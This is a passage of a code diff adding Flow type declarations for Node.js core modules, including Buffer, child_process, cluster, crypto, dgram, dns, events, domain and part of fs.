+  static compare(buf1: Buffer, buf2: Buffer): number;
+  static concat(list: Array<Buffer>, totalLength?: number): Buffer;
+
+  static from(value: Buffer): Buffer;
+  static from(value: string, encoding?: buffer$Encoding): Buffer;
+  static from(
+    value: ArrayBuffer | SharedArrayBuffer,
+    byteOffset?: number,
+    length?: number
+  ): Buffer;
+  static from(value: Iterable<number>): this;
+  static isBuffer(obj: any): boolean;
+  static isEncoding(encoding: string): boolean;
+}
+
+declare type Node$Buffer = typeof Buffer;
+
+declare module 'buffer' {
+  declare var kMaxLength: number;
+  declare var INSPECT_MAX_BYTES: number;
+  declare function transcode(
+    source: Node$Buffer,
+    fromEnc: buffer$Encoding,
+    toEnc: buffer$Encoding
+  ): Node$Buffer;
+  declare var Buffer: Node$Buffer;
+}
+
+type child_process$execOpts = {
+  cwd?: string,
+  env?: Object,
+  encoding?: string,
+  shell?: string,
+  timeout?: number,
+  maxBuffer?: number,
+  killSignal?: string | number,
+  uid?: number,
+  gid?: number,
+  windowsHide?: boolean,
+  ...
+};
+
+declare class child_process$Error extends Error {
+  code: number | string | null;
+  errno?: string;
+  syscall?: string;
+  path?: string;
+  spawnargs?: Array<string>;
+  killed?: boolean;
+  signal?: string | null;
+  cmd: string;
+}
+
+type child_process$execCallback = (
+  error: ?child_process$Error,
+  stdout: string | Buffer,
+  stderr: string | Buffer
+) => void;
+
+type child_process$execSyncOpts = {
+  cwd?: string,
+  input?: string | Buffer | $TypedArray | DataView,
+  stdio?: string | Array<any>,
+  env?: Object,
+  shell?: string,
+  uid?: number,
+  gid?: number,
+  timeout?: number,
+  killSignal?: string | number,
+  maxBuffer?: number,
+  encoding?: string,
+  windowsHide?: boolean,
+  ...
+};
+
+type child_process$execFileOpts = {
+  cwd?: string,
+  env?: Object,
+  encoding?: string,
+  timeout?: number,
+  maxBuffer?: number,
+  killSignal?: string | number,
+  uid?: number,
+  gid?: number,
+  windowsHide?: boolean,
+  windowsVerbatimArguments?: boolean,
+  shell?: boolean | string,
+  ...
+};
+
+type child_process$execFileCallback = (
+  error: ?child_process$Error,
+  stdout: string | Buffer,
+  stderr: string | Buffer
+) => void;
+
+type child_process$execFileSyncOpts = {
+  cwd?: string,
+  input?: string | Buffer | $TypedArray | DataView,
+  stdio?: string | Array<any>,
+  env?: Object,
+  uid?: number,
+  gid?: number,
+  timeout?: number,
+  killSignal?: string | number,
+  maxBuffer?: number,
+  encoding?: string,
+  windowsHide?: boolean,
+  shell?: boolean | string,
+  ...
+};
+
+type child_process$forkOpts = {
+  cwd?: string,
+  env?: Object,
+  execPath?: string,
+  execArgv?: Array<string>,
+  silent?: boolean,
+  stdio?: Array<any> | string,
+  windowsVerbatimArguments?: boolean,
+  uid?: number,
+  gid?: number,
+  ...
+};
+
+type child_process$Handle = any; // TODO
+
+type child_process$spawnOpts = {
+  cwd?: string,
+  env?: Object,
+  argv0?: string,
+  stdio?: string | Array<any>,
+  detached?: boolean,
+  uid?: number,
+  gid?: number,
+  shell?: boolean | string,
+  windowsVerbatimArguments?: boolean,
+  windowsHide?: boolean,
+  ...
+};
+
+type child_process$spawnRet = {
+  pid: number,
+  output: Array<any>,
+  stdout: Buffer | string,
+  stderr: Buffer | string,
+  status: number,
+  signal: string,
+  error: Error,
+  ...
+};
+
+type child_process$spawnSyncOpts = {
+  cwd?: string,
+  input?: string | Buffer,
+  stdio?: string | Array<any>,
+  env?: Object,
+  uid?: number,
+  gid?: number,
+  timeout?: number,
+  killSignal?: string,
+  maxBuffer?: number,
+  encoding?: string,
+  shell?: boolean | string,
+  ...
+};
+
+type child_process$spawnSyncRet = child_process$spawnRet;
+
+declare class child_process$ChildProcess extends events$EventEmitter {
+  channel: Object;
+  connected: boolean;
+  killed: boolean;
+  pid: number;
+  exitCode: number | null;
+  stderr: stream$Readable;
+  stdin: stream$Writable;
+  stdio: Array<any>;
+  stdout: stream$Readable;
+
+  disconnect(): void;
+  kill(signal?: string): void;
+  send(
+    message: Object,
+    sendHandleOrCallback?: child_process$Handle,
+    optionsOrCallback?: Object | Function,
+    callback?: Function
+  ): boolean;
+  unref(): void;
+  ref(): void;
+}
+
+declare module 'child_process' {
+  declare var ChildProcess: typeof child_process$ChildProcess;
+
+  declare function exec(
+    command: string,
+    optionsOrCallback?: child_process$execOpts | child_process$execCallback,
+    callback?: child_process$execCallback
+  ): child_process$ChildProcess;
+
+  declare function execSync(
+    command: string,
+    options: {
+      encoding: buffer$NonBufferEncoding,
+      ...
+    } & child_process$execSyncOpts
+  ): string;
+
+  declare function execSync(
+    command: string,
+    options?: child_process$execSyncOpts
+  ): Buffer;
+
+  declare function execFile(
+    file: string,
+    argsOrOptionsOrCallback?:
+      | Array<string>
+      | child_process$execFileOpts
+      | child_process$execFileCallback,
+    optionsOrCallback?:
+      | child_process$execFileOpts
+      | child_process$execFileCallback,
+    callback?: child_process$execFileCallback
+  ): child_process$ChildProcess;
+
+  declare function execFileSync(
+    command: string,
+    argsOrOptions?: Array<string> | child_process$execFileSyncOpts,
+    options?: child_process$execFileSyncOpts
+  ): Buffer | string;
+
+  declare function fork(
+    modulePath: string,
+    argsOrOptions?: Array<string> | child_process$forkOpts,
+    options?: child_process$forkOpts
+  ): child_process$ChildProcess;
+
+  declare function spawn(
+    command: string,
+    argsOrOptions?: Array<string> | child_process$spawnOpts,
+    options?: child_process$spawnOpts
+  ): child_process$ChildProcess;
+
+  declare function spawnSync(
+    command: string,
+    argsOrOptions?: Array<string> | child_process$spawnSyncOpts,
+    options?: child_process$spawnSyncOpts
+  ): child_process$spawnSyncRet;
+}
+
+declare module 'cluster' {
+  declare type ClusterSettings = {
+    execArgv: Array<string>,
+    exec: string,
+    args: Array<string>,
+    cwd: string,
+    serialization: 'json' | 'advanced',
+    silent: boolean,
+    stdio: Array<any>,
+    uid: number,
+    gid: number,
+    inspectPort: number | (() => number),
+    windowsHide: boolean,
+    ...
+  };
+
+  declare type ClusterSettingsOpt = {
+    execArgv?: Array<string>,
+    exec?: string,
+    args?: Array<string>,
+    cwd?: string,
+    serialization?: 'json' | 'advanced',
+    silent?: boolean,
+    stdio?: Array<any>,
+    uid?: number,
+    gid?: number,
+    inspectPort?: number | (() => number),
+    windowsHide?: boolean,
+    ...
+  };
+
+  declare class Worker extends events$EventEmitter {
+    id: number;
+    process: child_process$ChildProcess;
+    suicide: boolean;
+
+    disconnect(): void;
+    isConnected(): boolean;
+    isDead(): boolean;
+    kill(signal?: string): void;
+    send(
+      message: Object,
+      sendHandleOrCallback?: child_process$Handle | Function,
+      callback?: Function
+    ): boolean;
+  }
+
+  declare class Cluster extends events$EventEmitter {
+    isMaster: boolean;
+    isWorker: boolean;
+    settings: ClusterSettings;
+    worker: Worker;
+    workers: {[id: number]: Worker};
+
+    disconnect(callback?: () => void): void;
+    fork(env?: Object): Worker;
+    setupMaster(settings?: ClusterSettingsOpt): void;
+  }
+
+  declare module.exports: Cluster;
+}
+
+type crypto$createCredentialsDetails = any; // TODO
+
+declare class crypto$Cipher extends stream$Duplex {
+  final(output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'): string;
+  final(output_encoding: void): Buffer;
+  getAuthTag(): Buffer;
+  setAAD(buffer: Buffer): crypto$Cipher;
+  setAuthTag(buffer: Buffer): void;
+  setAutoPadding(auto_padding?: boolean): crypto$Cipher;
+  update(
+    data: string,
+    input_encoding: 'utf8' | 'ascii' | 'latin1' | 'binary',
+    output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'
+  ): string;
+  update(
+    data: string,
+    input_encoding: 'utf8' | 'ascii' | 'latin1' | 'binary',
+    output_encoding: void
+  ): Buffer;
+  update(
+    data: Buffer,
+    input_encoding: void | 'utf8' | 'ascii' | 'latin1' | 'binary',
+    output_encoding: 'latin1' | 'binary' | 'base64' | 'hex'
+  ): string;
+  update(data: Buffer, input_encoding: void, output_encoding: void): Buffer;
+}
+
+type crypto$Credentials = {...};
+
+type crypto$DiffieHellman = {
+  computeSecret(
+    other_public_key: string,
+    input_encoding?: string,
+    output_encoding?: string
+  ): any,
+  generateKeys(encoding?: string): any,
+  getGenerator(encoding?: string): any,
+  getPrime(encoding?: string): any,
+  getPrivateKey(encoding?: string): any,
+  getPublicKey(encoding?: string): any,
+  setPrivateKey(private_key: any, encoding?: string): void,
+  setPublicKey(public_key: any, encoding?: string): void,
+  ...
+};
+
+type crypto$ECDH$Encoding = 'latin1' | 'hex' | 'base64';
+type crypto$ECDH$Format = 'compressed' | 'uncompressed';
+
+declare class crypto$ECDH {
+  computeSecret(other_public_key: Buffer | $TypedArray | DataView): Buffer;
+  computeSecret(
+    other_public_key: string,
+    input_encoding: crypto$ECDH$Encoding
+  ): Buffer;
+  computeSecret(
+    other_public_key: Buffer | $TypedArray | DataView,
+    output_encoding: crypto$ECDH$Encoding
+  ): string;
+  computeSecret(
+    other_public_key: string,
+    input_encoding: crypto$ECDH$Encoding,
+    output_encoding: crypto$ECDH$Encoding
+  ): string;
+  generateKeys(format?: crypto$ECDH$Format): Buffer;
+  generateKeys(
+    encoding: crypto$ECDH$Encoding,
+    format?: crypto$ECDH$Format
+  ): string;
+  getPrivateKey(): Buffer;
+  getPrivateKey(encoding: crypto$ECDH$Encoding): string;
+  getPublicKey(format?: crypto$ECDH$Format): Buffer;
+  getPublicKey(
+    encoding: crypto$ECDH$Encoding,
+    format?: crypto$ECDH$Format
+  ): string;
+  setPrivateKey(private_key: Buffer | $TypedArray | DataView): void;
+  setPrivateKey(private_key: string, encoding: crypto$ECDH$Encoding): void;
+}
+
+declare class crypto$Decipher extends stream$Duplex {
+  final(output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'): string;
+  final(output_encoding: void): Buffer;
+  getAuthTag(): Buffer;
+  setAAD(buffer: Buffer): void;
+  setAuthTag(buffer: Buffer): void;
+  setAutoPadding(auto_padding?: boolean): crypto$Cipher;
+  update(
+    data: string,
+    input_encoding: 'latin1' | 'binary' | 'base64' | 'hex',
+    output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'
+  ): string;
+  update(
+    data: string,
+    input_encoding: 'latin1' | 'binary' | 'base64' | 'hex',
+    output_encoding: void
+  ): Buffer;
+  update(
+    data: Buffer,
+    input_encoding: void,
+    output_encoding: 'latin1' | 'binary' | 'ascii' | 'utf8'
+  ): string;
+  update(data: Buffer, input_encoding: void, output_encoding: void): Buffer;
+}
+
+declare class crypto$Hash extends stream$Duplex {
+  digest(encoding: 'hex' | 'latin1' | 'binary' | 'base64'): string;
+  digest(encoding: 'buffer'): Buffer;
+  digest(encoding: void): Buffer;
+  update(
+    data: string | Buffer,
+    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'
+  ): crypto$Hash;
+}
+
+declare class crypto$Hmac extends stream$Duplex {
+  digest(encoding: 'hex' | 'latin1' | 'binary' | 'base64'): string;
+  digest(encoding: 'buffer'): Buffer;
+  digest(encoding: void): Buffer;
+  update(
+    data: string | Buffer,
+    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'
+  ): crypto$Hmac;
+}
+
+type crypto$Sign$private_key =
+  | string
+  | {
+      key: string,
+      passphrase: string,
+      ...
+    };
+declare class crypto$Sign extends stream$Writable {
+  static (algorithm: string, options?: writableStreamOptions): crypto$Sign;
+  constructor(algorithm: string, options?: writableStreamOptions): void;
+  sign(
+    private_key: crypto$Sign$private_key,
+    output_format: 'latin1' | 'binary' | 'hex' | 'base64'
+  ): string;
+  sign(private_key: crypto$Sign$private_key, output_format: void): Buffer;
+  update(
+    data: string | Buffer,
+    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'
+  ): crypto$Sign;
+}
+
+declare class crypto$Verify extends stream$Writable {
+  static (algorithm: string, options?: writableStreamOptions): crypto$Verify;
+  constructor(algorithm: string, options?: writableStreamOptions): void;
+  update(
+    data: string | Buffer,
+    input_encoding?: 'utf8' | 'ascii' | 'latin1' | 'binary'
+  ): crypto$Verify;
+  verify(
+    object: string,
+    signature: string | Buffer | $TypedArray | DataView,
+    signature_format: 'latin1' | 'binary' | 'hex' | 'base64'
+  ): boolean;
+  verify(object: string, signature: Buffer, signature_format: void): boolean;
+}
+
+type crypto$key =
+  | string
+  | {
+      key: string,
+      passphrase?: string,
+      // TODO: enum type in crypto.constants
+      padding?: string,
+      ...
+    };
+
+declare module 'crypto' {
+  declare var DEFAULT_ENCODING: string;
+
+  declare class Sign extends crypto$Sign {}
+  declare class Verify extends crypto$Verify {}
+
+  declare function createCipher(
+    algorithm: string,
+    password: string | Buffer
+  ): crypto$Cipher;
+  declare function createCipheriv(
+    algorithm: string,
+    key: string | Buffer,
+    iv: string | Buffer
+  ): crypto$Cipher;
+  declare function createCredentials(
+    details?: crypto$createCredentialsDetails
+  ): crypto$Credentials;
+  declare function createDecipher(
+    algorithm: string,
+    password: string | Buffer
+  ): crypto$Decipher;
+  declare function createDecipheriv(
+    algorithm: string,
+    key: string | Buffer,
+    iv: string | Buffer
+  ): crypto$Decipher;
+  declare function createDiffieHellman(
+    prime_length: number
+  ): crypto$DiffieHellman;
+  declare function createDiffieHellman(
+    prime: number,
+    encoding?: string
+  ): crypto$DiffieHellman;
+  declare function createECDH(curveName: string): crypto$ECDH;
+  declare function createHash(algorithm: string): crypto$Hash;
+  declare function createHmac(
+    algorithm: string,
+    key: string | Buffer
+  ): crypto$Hmac;
+  declare function createSign(algorithm: string): crypto$Sign;
+  declare function createVerify(algorithm: string): crypto$Verify;
+  declare function getCiphers(): Array<string>;
+  declare function getCurves(): Array<string>;
+  declare function getDiffieHellman(group_name: string): crypto$DiffieHellman;
+  declare function getHashes(): Array<string>;
+  declare function pbkdf2(
+    password: string | Buffer,
+    salt: string | Buffer,
+    iterations: number,
+    keylen: number,
+    digest: string,
+    callback: (err: ?Error, derivedKey: Buffer) => void
+  ): void;
+  declare function pbkdf2(
+    password: string | Buffer,
+    salt: string | Buffer,
+    iterations: number,
+    keylen: number,
+    callback: (err: ?Error, derivedKey: Buffer) => void
+  ): void;
+  declare function pbkdf2Sync(
+    password: string | Buffer,
+    salt: string | Buffer,
+    iterations: number,
+    keylen: number,
+    digest?: string
+  ): Buffer;
+  declare function scrypt(
+    password: string | Buffer,
+    salt: string | Buffer,
+    keylen: number,
+    options:
+      | {|N?: number, r?: number, p?: number, maxmem?: number|}
+      | {|
+          cost?: number,
+          blockSize?: number,
+          parallelization?: number,
+          maxmem?: number,
+        |},
+    callback: (err: ?Error, derivedKey: Buffer) => void
+  ): void;
+  declare function scrypt(
+    password: string | Buffer,
+    salt: string | Buffer,
+    keylen: number,
+    callback: (err: ?Error, derivedKey: Buffer) => void
+  ): void;
+  declare function scryptSync(
+    password: string | Buffer,
+    salt: string | Buffer,
+    keylen: number,
+    options?:
+      | {|N?: number, r?: number, p?: number, maxmem?: number|}
+      | {|
+          cost?: number,
+          blockSize?: number,
+          parallelization?: number,
+          maxmem?: number,
+        |}
+  ): Buffer;
+  declare function privateDecrypt(
+    private_key: crypto$key,
+    buffer: Buffer
+  ): Buffer;
+  declare function privateEncrypt(
+    private_key: crypto$key,
+    buffer: Buffer
+  ): Buffer;
+  declare function publicDecrypt(key: crypto$key, buffer: Buffer): Buffer;
+  declare function publicEncrypt(key: crypto$key, buffer: Buffer): Buffer;
+  // `UNUSED` argument strictly enforces arity to enable overloading this
+  // function with 1-arg and 2-arg variants.
+  declare function pseudoRandomBytes(size: number, UNUSED: void): Buffer;
+  declare function pseudoRandomBytes(
+    size: number,
+    callback: (err: ?Error, buffer: Buffer) => void
+  ): void;
+  // `UNUSED` argument strictly enforces arity to enable overloading this
+  // function with 1-arg and 2-arg variants.
+  declare function randomBytes(size: number, UNUSED: void): Buffer;
+  declare function randomBytes(
+    size: number,
+    callback: (err: ?Error, buffer: Buffer) => void
+  ): void;
+  declare function randomFillSync(
+    buffer: Buffer | $TypedArray | DataView
+  ): void;
+  declare function randomFillSync(
+    buffer: Buffer | $TypedArray | DataView,
+    offset: number
+  ): void;
+  declare function randomFillSync(
+    buffer: Buffer | $TypedArray | DataView,
+    offset: number,
+    size: number
+  ): void;
+  declare function randomFill(
+    buffer: Buffer | $TypedArray | DataView,
+    callback: (err: ?Error, buffer: Buffer) => void
+  ): void;
+  declare function randomFill(
+    buffer: Buffer | $TypedArray | DataView,
+    offset: number,
+    callback: (err: ?Error, buffer: Buffer) => void
+  ): void;
+  declare function randomFill(
+    buffer: Buffer | $TypedArray | DataView,
+    offset: number,
+    size: number,
+    callback: (err: ?Error, buffer: Buffer) => void
+  ): void;
+  declare function randomUUID(
+    options?: $ReadOnly<{|disableEntropyCache?: boolean|}>
+  ): string;
+  declare function timingSafeEqual(
+    a: Buffer | $TypedArray | DataView,
+    b: Buffer | $TypedArray | DataView
+  ): boolean;
+}
+
+type net$Socket$address = {
+  address: string,
+  family: string,
+  port: number,
+  ...
+};
+type dgram$Socket$rinfo = {
+  address: string,
+  family: 'IPv4' | 'IPv6',
+  port: number,
+  size: number,
+  ...
+};
+
+declare class dgram$Socket extends events$EventEmitter {
+  addMembership(multicastAddress: string, multicastInterface?: string): void;
+  address(): net$Socket$address;
+  bind(port?: number, address?: string, callback?: () => void): void;
+  close(callback?: () => void): void;
+  dropMembership(multicastAddress: string, multicastInterface?: string): void;
+  ref(): void;
+  send(
+    msg: Buffer,
+    port: number,
+    address: string,
+    callback?: (err: ?Error, bytes: any) => mixed
+  ): void;
+  send(
+    msg: Buffer,
+    offset: number,
+    length: number,
+    port: number,
+    address: string,
+    callback?: (err: ?Error, bytes: any) => mixed
+  ): void;
+  setBroadcast(flag: boolean): void;
+  setMulticastLoopback(flag: boolean): void;
+  setMulticastTTL(ttl: number): void;
+  setTTL(ttl: number): void;
+  unref(): void;
+}
+
+declare module 'dgram' {
+  declare function createSocket(
+    options: string | {type: string, ...},
+    callback?: () => void
+  ): dgram$Socket;
+}
+
+declare module 'dns' {
+  declare var ADDRGETNETWORKPARAMS: string;
+  declare var BADFAMILY: string;
+  declare var BADFLAGS: string;
+  declare var BADHINTS: string;
+  declare var BADQUERY: string;
+  declare var BADNAME: string;
+  declare var BADRESP: string;
+  declare var BADSTR: string;
+  declare var CANCELLED: string;
+  declare var CONNREFUSED: string;
+  declare var DESTRUCTION: string;
+  declare var EOF: string;
+  declare var FILE: string;
+  declare var FORMER: string;
+  declare var LOADIPHLPAPI: string;
+  declare var NODATA: string;
+  declare var NOMEM: string;
+  declare var NONAME: string;
+  declare var NOTFOUND: string;
+  declare var NOTIMP: string;
+  declare var NOTINITIALIZED: string;
+  declare var REFUSED: string;
+  declare var SERVFAIL: string;
+  declare var TIMEOUT: string;
+  declare var ADDRCONFIG: number;
+  declare var V4MAPPED: number;
+
+  declare type LookupOptions = {
+    family?: number,
+    hints?: number,
+    verbatim?: boolean,
+    all?: boolean,
+    ...
+  };
+
+  declare function lookup(
+    domain: string,
+    options: number | LookupOptions,
+    callback: (err: ?Error, address: string, family: number) => void
+  ): void;
+  declare function lookup(
+    domain: string,
+    callback: (err: ?Error, address: string, family: number) => void
+  ): void;
+
+  declare function resolve(
+    domain: string,
+    rrtype?: string,
+    callback?: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolve4(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolve6(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolveCname(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolveMx(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolveNs(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolveSrv(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function resolveTxt(
+    domain: string,
+    callback: (err: ?Error, addresses: Array<any>) => void
+  ): void;
+
+  declare function reverse(
+    ip: string,
+    callback: (err: ?Error, domains: Array<any>) => void
+  ): void;
+  declare function timingSafeEqual(
+    a: Buffer | $TypedArray | DataView,
+    b: Buffer | $TypedArray | DataView
+  ): boolean;
+}
+
+declare class events$EventEmitter {
+  // deprecated
+  static listenerCount(emitter: events$EventEmitter, event: string): number;
+  static defaultMaxListeners: number;
+
+  addListener(event: string, listener: Function): this;
+  emit(event: string, ...args: Array<any>): boolean;
+  eventNames(): Array<string>;
+  listeners(event: string): Array<Function>;
+  listenerCount(event: string): number;
+  on(event: string, listener: Function): this;
+  once(event: string, listener: Function): this;
+  prependListener(event: string, listener: Function): this;
+  prependOnceListener(event: string, listener: Function): this;
+  removeAllListeners(event?: string): this;
+  removeListener(event: string, listener: Function): this;
+  off(event: string, listener: Function): this;
+  setMaxListeners(n: number): this;
+  getMaxListeners(): number;
+  rawListeners(event: string): Array<Function>;
+}
+
+declare module 'events' {
+  // TODO: See the comment above the events$EventEmitter declaration
+  declare class EventEmitter extends events$EventEmitter {
+    static EventEmitter: typeof EventEmitter;
+  }
+
+  declare module.exports: typeof EventEmitter;
+}
+
+declare class domain$Domain extends events$EventEmitter {
+  members: Array<any>;
+
+  add(emitter: events$EventEmitter): void;
+  bind(callback: Function): Function;
+  dispose(): void;
+  enter(): void;
+  exit(): void;
+  intercept(callback: Function): Function;
+  remove(emitter: events$EventEmitter): void;
+  run(fn: Function): void;
+}
+
+declare module 'domain' {
+  declare function create(): domain$Domain;
+}
+
+declare module 'fs' {
+  declare class Stats {
+    dev: number;
+    ino: number;
+    mode: number;
+    nlink: number;
+    uid: number;
+    gid: number;
+    rdev: number;
+    size: number;
+    blksize: number;
+    blocks: number;
+    atimeMs: number;
+    mtimeMs: number;
+    ctimeMs: number;
+    birthtimeMs: number;
+    atime: Date;
+    mtime: Date;
+    ctime: Date;
+    birthtime: Date;
+
+    isFile(): boolean;
+    isDirectory(): boolean;
+    isBlockDevice(): boolean;
+    isCharacterDevice(): boolean;
+    isSymbolicLink(): boolean;
+    isFIFO(): boolean;
+    isSocket(): boolean;
+  }
+
+  declare type PathLike = string | Buffer | URL;
+
+  declare class FSWatcher extends events$EventEmitter {
+    close(): void;
+  }
+
+  declare class ReadStream extends stream$Readable {
+    close(): void;
+  }
+
+  declare class WriteStream extends stream$Writable {
+    close(): void;
+    bytesWritten: number;
+  }
+
+  declare class Dirent {
+    name: string | Buffer;
+
+    isBlockDevice(): boolean;
+    isCharacterDevice(): boolean;
+    isDirectory(): boolean;
+    isFIFO(): boolean;
+    isFile(): boolean;
+    isSocket(): boolean;
+    isSymbolicLink(): boolean;
+  }
+
+  declare function rename(
+    oldPath: string,
+    newPath: string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function renameSync(oldPath: string, newPath: string): void;
+  declare function ftruncate(
+    fd: number,
+    len: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function ftruncateSync(fd: number, len: number): void;
+  declare function truncate(
+    path: string,
+    len: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function truncateSync(path: string, len: number): void;
+  declare function chown(
+    path: string,
+    uid: number,
+    gid: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function chownSync(path: string, uid: number, gid: number): void;
+  declare function fchown(
+    fd: number,
+    uid: number,
+    gid: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function fchownSync(fd: number, uid: number, gid: number): void;
+  declare function lchown(
+    path: string,
+    uid: number,
+    gid: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function lchownSync(path: string, uid: number, gid: number): void;
+  declare function chmod(
+    path: string,
+    mode: number | string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function chmodSync(path: string, mode: number | string): void;
+  declare function fchmod(
+    fd: number,
+    mode: number | string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function fchmodSync(fd: number, mode: number | string): void;
+  declare function lchmod(
+    path: string,
+    mode: number | string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function lchmodSync(path: string, mode: number | string): void;
+  declare function stat(
+    path: string,
+    callback?: (err: ?ErrnoError, stats: Stats) => any
+  ): void;
+  declare function statSync(path: string): Stats;
+  declare function fstat(
+    fd: number,
+    callback?: (err: ?ErrnoError, stats: Stats) => any
+  ): void;
+  declare function fstatSync(fd: number): Stats;
+  declare function lstat(
+    path: string,
+    callback?: (err: ?ErrnoError, stats: Stats) => any
+  ): void;
+  declare function lstatSync(path: string): Stats;
+  declare function link(
+    srcpath: string,
+    dstpath: string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function linkSync(srcpath: string, dstpath: string): void;
+  declare function symlink(
+    srcpath: string,
+    dtspath: string,
+    type?: string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function symlinkSync(
+    srcpath: string,
+    dstpath: string,
+    type?: string
+  ): void;
+  declare function readlink(
+    path: string,
+    callback: (err: ?ErrnoError, linkString: string) => void
+  ): void;
+  declare function readlinkSync(path: string): string;
+  declare function realpath(
+    path: string,
+    cache?: Object,
+    callback?: (err: ?ErrnoError, resolvedPath: string) => void
+  ): void;
+  declare function realpathSync(path: string, cache?: Object): string;
+  declare function unlink(
+    path: string,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function unlinkSync(path: string): void;
+
+  declare type RmDirOptions = {|
+    /**
+     * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or
+     * `EPERM` error is encountered, Node.js will retry the operation with a linear
+     * backoff wait of `retryDelay` ms longer on each try. This option represents the
+     * number of retries. This option is ignored if the `recursive` option is not
+     * `true`.
+     * @default 0
+     */
+    maxRetries?: number | void,
+    /**
+     * @deprecated since v14.14.0 In future versions of Node.js and will trigger a warning
+     * `fs.rmdir(path, { recursive: true })` will throw if `path` does not exist or is a file.
+     * Use `fs.rm(path, { recursive: true, force: true })` instead.
+     *
+     * If `true`, perform a recursive directory removal. In
+     * recursive mode soperations are retried on failure.
+     * @default false
+     */
+    recursive?: boolean | void,
+    /**
+     * The amount of time in milliseconds to wait between retries.
+     * This option is ignored if the `recursive` option is not `true`.
+     * @default 100
+     */
+    retryDelay?: number | void,
+  |};
+
+  declare function rmdir(
+    path: PathLike,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function rmdir(
+    path: PathLike,
+    options: RmDirOptions,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function rmdirSync(path: PathLike, options?: RmDirOptions): void;
+
+  declare type RmOptions = {|
+    /**
+     * When `true`, exceptions will be ignored if `path` does not exist.
+     * @default false
+     */
+    force?: boolean | void,
+    /**
+     * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or
+     * `EPERM` error is encountered, Node.js will retry the operation with a linear
+     * backoff wait of `retryDelay` ms longer on each try. This option represents the
+     * number of retries. This option is ignored if the `recursive` option is not
+     * `true`.
+     * @default 0
+     */
+    maxRetries?: number | void,
+    /**
+     * If `true`, perform a recursive directory removal. In
+     * recursive mode, operations are retried on failure.
+     * @default false
+     */
+    recursive?: boolean | void,
+    /**
+     * The amount of time in milliseconds to wait between retries.
+     * This option is ignored if the `recursive` option is not `true`.
+     * @default 100
+     */
+    retryDelay?: number | void,
+  |};
+
+  /**
+   * Asynchronously removes files and directories (modeled on the standard POSIX `rm`utility). No arguments other than a possible exception are given to the
+   * completion callback.
+   * @since v14.14.0
+   */
+  declare function rm(
+    path: PathLike,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function rm(
+    path: PathLike,
+    options: RmOptions,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+
+  /**
+   * Synchronously removes files and directories (modeled on the standard POSIX `rm`utility). Returns `undefined`.
+   * @since v14.14.0
+   */
+  declare function rmSync(path: PathLike, options?: RmOptions): void;
+
+  declare function mkdir(
+    path: string,
+    mode?:
+      | number
+      | {
+          recursive?: boolean,
+          mode?: number,
+          ...
+        },
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function mkdirSync(
+    path: string,
+    mode?:
+      | number
+      | {
+          recursive?: boolean,
+          mode?: number,
+          ...
+        }
+  ): void;
+  declare function mkdtemp(
+    prefix: string,
+    callback: (err: ?ErrnoError, folderPath: string) => void
+  ): void;
+  declare function mkdtempSync(prefix: string): string;
+  declare function readdir(
+    path: string,
+    options: string | {encoding?: string, withFileTypes?: false, ...},
+    callback: (err: ?ErrnoError, files: Array<string>) => void
+  ): void;
+  declare function readdir(
+    path: string,
+    options: {encoding?: string, withFileTypes: true, ...},
+    callback: (err: ?ErrnoError, files: Array<Dirent>) => void
+  ): void;
+  declare function readdir(
+    path: string,
+    callback: (err: ?ErrnoError, files: Array<string>) => void
+  ): void;
+  declare function readdirSync(
+    path: string,
+    options?: string | {encoding?: string, withFileTypes?: false, ...}
+  ): Array<string>;
+  declare function readdirSync(
+    path: string,
+    options?: string | {encoding?: string, withFileTypes: true, ...}
+  ): Array<Dirent>;
+  declare function close(
+    fd: number,
+    callback: (err: ?ErrnoError) => void
+  ): void;
+  declare function closeSync(fd: number): void;
+  declare function open(
+    path: string | Buffer | URL,
+    flags: string | number,
+    mode: number,
+    callback: (err: ?ErrnoError, fd: number) => void
+  ): void;
+  declare function open(
+    path: string | Buffer | URL,
+    flags: string | number,
+    callback: (err: ?ErrnoError, fd: number) => void
+  ): void;
+  declare function openSync(
+    path: string | Buffer,
+    flags: string | number,
+    mode?: number
+  ): number;
+  declare function utimes(
+    path: string,
+    atime: number,
+    mtime: number,
+    callback?: (err: ?ErrnoError) => void
+  ): void;
+  declare function utimesSync(path: string, atime: number, mtime: number): void;
+  declare function futimes(
+    fd: number,
+    atime: number,
+    mtime: number,
